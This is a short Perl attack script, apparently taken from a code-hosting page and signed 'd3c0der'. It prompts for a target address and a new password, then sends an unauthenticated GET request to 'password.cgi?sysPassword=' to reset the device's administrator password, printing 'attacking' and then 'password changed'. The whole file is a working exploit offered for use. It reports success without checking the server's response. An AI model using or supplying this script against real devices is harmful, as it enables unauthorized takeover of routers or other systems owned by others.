44 lines
No EOL
579 B
Perl
Executable file
44 lines
No EOL
579 B
Perl
Executable file
#!/usr/bin/perl
|
|
#d3c0der
|
|
|
|
|
|
use HTTP::Request;
|
|
use LWP::UserAgent;
|
|
|
|
|
|
|
|
print "= Target : ";
|
|
$ip=<STDIN>;
|
|
chomp $ip;
|
|
print "= new password : ";
|
|
$npass=<STDIN>;
|
|
chomp $npass;
|
|
|
|
if ( $ip !~ /^http:/ ) {
|
|
$ip = 'http://' . $ip;
|
|
}
|
|
if ( $ip !~ /\/$/ ) {
|
|
$ip = $ip . '/';
|
|
}
|
|
print "\n";
|
|
|
|
print "->attacking , plz wait ! : $ip\n";
|
|
|
|
|
|
|
|
|
|
@path1=("password.cgi?sysPassword=$npass");
|
|
|
|
foreach $ways(@path1){
|
|
|
|
$final=$ip.$ways;
|
|
|
|
my $req=HTTP::Request->new(GET=>$final);
|
|
my $ua=LWP::UserAgent->new();
|
|
$ua->timeout(30);
|
|
my $response=$ua->request($req);
|
|
|
|
|
|
}
|
|
|
|
print "[-] password changed to $npass \n"; |